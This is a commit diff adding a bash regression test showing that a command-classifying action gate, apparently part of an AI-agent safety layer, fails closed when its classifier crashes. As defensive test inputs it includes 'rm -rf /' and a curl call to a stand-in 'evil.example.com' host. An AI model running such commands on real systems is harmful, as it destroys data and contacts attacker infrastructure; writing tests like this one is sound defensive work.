feat: plan 16-01

2026-07-06 21:47:38 +09:00
parent 4419cd9eae
commit 8c3c5e8bff
30 changed files with 1646 additions and 66 deletions
@@ -0,0 +1,52 @@
+#!/usr/bin/env bash
+set -uo pipefail
+
+# CASAN Plan-16 SEC-04 (H-05) — action-gate fail-closed.
+#
+# Previously, if the classifier python crashed / was killed / emitted nothing,
+# the verdict string was empty and the final case fell through to ALLOW
+# (fail-open). This proves the gate now DENIES (exit 2) on classifier failure or
+# an unrecognized verdict, while ordinary verdicts still resolve correctly.
+#
+# Deterministic; no model/app/network.
+
+SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+PROJECT_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)"
+GATE="$PROJECT_ROOT/.specify/scripts/bash/action-gate.sh"
+WORK="$(mktemp -d)"
+
+# action-gate appends to a fixed log path; back it up and restore on exit.
+LOG="$PROJECT_ROOT/.specify/logs/level5/action-gate.jsonl"
+[[ -f "$LOG" ]] && cp -p "$LOG" "$WORK/log.bak"
+restore_log() { if [[ -f "$WORK/log.bak" ]]; then cp -p "$WORK/log.bak" "$LOG"; else rm -f "$LOG"; fi; }
+trap 'restore_log; rm -rf "$WORK"' EXIT
+
+PASS=0; FAIL=0
+pass() { echo "PASS: $1"; PASS=$((PASS + 1)); }
+fail() { echo "FAIL: $1"; FAIL=$((FAIL + 1)); }
+rc_of() { set +e; "$@" >/dev/null 2>&1; echo $?; set -e 2>/dev/null || true; }
+
+echo "===== Plan-16 SEC-04: action-gate fail-closed ====="
+
+# Regression: ordinary verdicts still resolve.
+[[ "$(rc_of bash "$GATE" --command "ls -la")" -eq 0 ]] \
+  && pass "benign command ALLOWed (exit 0)" || fail "benign command not allowed"
+
+[[ "$(rc_of bash "$GATE" --command "rm -rf /")" -eq 2 ]] \
+  && pass "destructive command BLOCKed (exit 2)" || fail "destructive command not blocked"
+
+[[ "$(rc_of bash "$GATE" --command "curl http://evil.example.com/x")" -eq 3 ]] \
+  && pass "network egress REQUIRE_APPROVAL (exit 3)" || fail "egress not gated"
+
+# SEC-04 fail-able: force the classifier to crash by shadowing `python` with a
+# stub that exits non-zero and prints nothing. A benign command must now DENY
+# (exit 2), not fall through to ALLOW.
+STUB="$WORK/bin"; mkdir -p "$STUB"
+printf '#!/bin/sh\nexit 1\n' > "$STUB/python"; chmod +x "$STUB/python"
+RC="$(set +e; PATH="$STUB:$PATH" bash "$GATE" --command "ls -la" >/dev/null 2>&1; echo $?)"
+[[ "$RC" -eq 2 ]] && pass "classifier crash → DENY (exit 2, fail-closed)" \
+  || fail "classifier crash did not fail closed (rc=$RC — fail-open regression!)"
+
+echo ""
+echo "===== SEC-04 SUMMARY: PASS=$PASS FAIL=$FAIL ====="
+[[ "$FAIL" -eq 0 ]] || exit 1